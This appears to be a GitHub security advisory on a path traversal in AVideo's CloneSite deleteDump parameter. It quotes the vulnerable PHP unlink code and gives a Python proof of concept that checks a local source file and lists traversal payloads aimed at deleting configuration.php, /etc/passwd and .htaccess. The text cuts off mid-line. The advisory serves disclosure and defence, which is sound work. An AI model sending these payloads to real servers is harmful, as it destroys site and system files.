GitHub Security Advisory: GHSA-5879-4fmr-xwf2
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 29.0
Patched in: unpatched

Summary: WWBN AVideo has an incomplete fix for CVE-2026-33293: Path Traversal

Details:
### Summary

The incomplete fix for AVideo's CloneSite `deleteDump` parameter does not apply path traversal filtering, allowing `unlink()` of arbitrary files via `../../` sequences in the GET parameter.

### Affected Package

- **Ecosystem:** Other
- **Package:** AVideo
- **Affected versions:** < commit 941decd6d19e
- **Patched versions:** >= commit 941decd6d19e

### Details

At line 44-48 of `cloneServer.json.php` (pre-fix):
```php
if (!empty($_GET['deleteDump'])) {
    $resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}");
    $resp->msg = "Delete Dump {$_GET['deleteDump']}";
    die(json_encode($resp));
}
```

No `basename()`, no `realpath()` check, no path traversal filtering. `$_GET['deleteDump']` is concatenated directly with `$clonesDir`.

The vulnerable code has zero protection against path traversal:
- No `basename()` to strip directory components
- No `realpath()` to validate the final path
- No check that resolved path is within `$clonesDir`
- No `../` sanitization
- Additionally, `exec()` calls with `mysqldump` pass credentials on the command line

### PoC

```python
"""
CVE-2026-33293 - AVideo CloneSite Path Traversal
"""

import sys
import os

VULN_SRC = os.path.join(os.path.dirname(__file__), "src", "cloneServer.json.php")

def verify_source_file():
    if not os.path.isfile(VULN_SRC):
        print("ERROR: Source not found at %s" % VULN_SRC)
        sys.exit(1)
    with open(VULN_SRC, "r") as f:
        src = f.read()
    if "unlink(" not in src or "deleteDump" not in src:
        print("ERROR: Expected patterns not found")
        sys.exit(1)
    return src

def vulnerable_delete_path(clones_dir, delete_dump):
    return clones_dir + delete_dump

def test_path_traversal():
    clones_dir = "/var/www/html/AVideo/videos/clones/"
    payloads = [
        ("../../configuration.php", "Delete site configuration"),
        ("../../../etc/passwd", "Delete system file"),
        ("../../.htaccess", "Delete .htaccess"),
    ]

    print("Testing path traversal via deleteDump parameter:")
    print("Base clones_dir: %s" % clones_dir)
    print()

    all_traversal = True
    for payload, desc in payloads:
        resolved = vulnerable_delete_path(clones_dir, payload)
        real_resolved = os.path.normpath(resolved)
        escaped = not real_resolved.startswith(os.path.normpath(clones_dir))

        if escaped:
            print("[+] TRAVERSAL: %s" % desc)
            print("    Payload: deleteDump=%s" % payload)
            print("    unlink() target: %s" % resolved)
            print("    Normalized: %s" % real_resolved)
        else:
            all_traversal = False

    return all_traversal

def main():
    print("=" * 70)
    print("CVE-2026-33293: AVideo CloneSite Path Traversal PoC")
    print("=" * 70)
    print()

    src = verify_source_file()
    print("[+] Source file verified: %s" % VULN_SRC)

    for line in src.split('\n'):
        if 'unlink(' in line and 'deleteDump' in line:
            print("[+] Vulnerable line: